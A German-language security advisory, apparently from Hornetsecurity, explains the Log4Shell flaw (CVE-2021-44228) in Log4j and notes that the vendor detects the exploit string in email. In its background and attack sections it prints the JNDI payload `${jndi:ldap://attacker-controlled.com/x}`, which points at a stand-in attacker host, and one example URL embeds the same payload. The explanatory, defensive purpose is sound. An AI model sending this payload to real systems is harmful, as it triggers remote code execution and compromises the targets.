Hintergrund

CVE-2021-44228, oder auch bekannt als Log4Shell, ist eine kritische Sicherheitslücke im beliebten Java-Logging-Paket Log4j und ist etwa seit dem 10. Dezember 2021 bekannt.


Log4j wird von zahlreichen JAVA-Unternehmenssoftwares zur Implementierung der Protokollierung verwendet. Die Sicherheitslücke wird durch eine im Jahr 2013 hinzugefügte Funktion verursacht, die die Erweiterung von (lokalen Umgebungs-)Variablen in Protokollmeldungen ermöglicht. So würde z.B. `${env:FOOBAR}` in einer Logmeldung zur Umgebungsvariablen `FOOBAR` expandieren. Es erlaubt zudem die Erweiterung von Variablen im Java Naming and Directory Interface (JNDI) Kontext. Hier manifestiert sich die Sicherheitslücke. Wenn die Zeichenkette `${jndi:ldap://attacker-controlled.com/x}` über Log4j protokolliert wird, fordert das System die vom Angreifer kontrollierte URI über das JNDI an, lädt dann eine beliebige vom Hacker kontrollierte JAVA-Klassendatei herunter und führt sie aus, was zu einer Schwachstelle bei der Remotecodeausführung führt.

Vorgehensweise bei einem Angriff

Die Sicherheitslücke ist so gefährlich, weil sie so einfach auszunutzen ist: Ein Angriff muss ein Opfer nur dazu bringen, seine Exploit-Zeichenkette `${jndi:ldap://attacker-controlled.com/x}` in eine Protokolldatei mit Log4j zu schreiben. Log4j ist praktisch die Standard-Protokollierungsbibliothek für JAVA-Unternehmensanwendungen und macht sie anfällig für CVE-2021-44228. Die meisten Anwendungen protokollieren standardmäßig bestimmte Aktionen, z. B. protokolliert ein Webserver Webanfragen. Ein Angreifer müsste lediglich die URL `http://vulnerable-webserver.com/${jndi:ldap://attacker-controlled.com/x}` anfordern oder seinen User-Agent-String auf den Exploit setzen, um ein System zu kompromittieren.
Die Exploit-Zeichenkette kann über jeden beliebigen Pfad transportiert werden, solange sie letztlich von einer JAVA-Anwendung mit Log4j protokolliert wird. Zum Beispiel könnte ein JAVA-basierter E-Mail-Client eine E-Mail erhalten, deren Betreff auf die Log4Shell-Exploit-Zeichenkette gesetzt ist. Sobald der JAVA-basierte E-Mail-Client über die Log4j-Bibliothek in seine Protokolle schreibt, dass er eine neue E-Mail erhalten hat, würde der Exploit ausgelöst.

Stellungnahme Hornetsecurity

Hornetsecurity erkennt bereits den bösartigen Exploit-String in E-Mails, hat aber bisher keine Angreifer beobachtet, die E-Mails direkt als Angriffsvektor nutzen. Die bisher beobachteten Fälle (neben Sicherheitsunternehmen und Kunden, die auf die Schwachstelle testen) stammen von Web-Formularen, in die die Angreifer den Log4Shell-Exploit schrieben, bei denen der Besitzer des Web-Formulars dann eine Benachrichtigungs-E-Mail mit den Feldern des Formulars erhielt, die dann offenkundig den Exploit-String enthielten.
Die Threat Researcher des Hornetsecurity Security Labs überwachen E-Mails auf CVE-2021-44228-Exploit-Muster und werden diese Erkennung ständig erweitern, um die Filter an neue Verschleierungen anzupassen und auf mögliche gezielte E-Mail-Kampagnen mit dem Log4Shell-Exploit vorbereitet zu sein.

Referenzen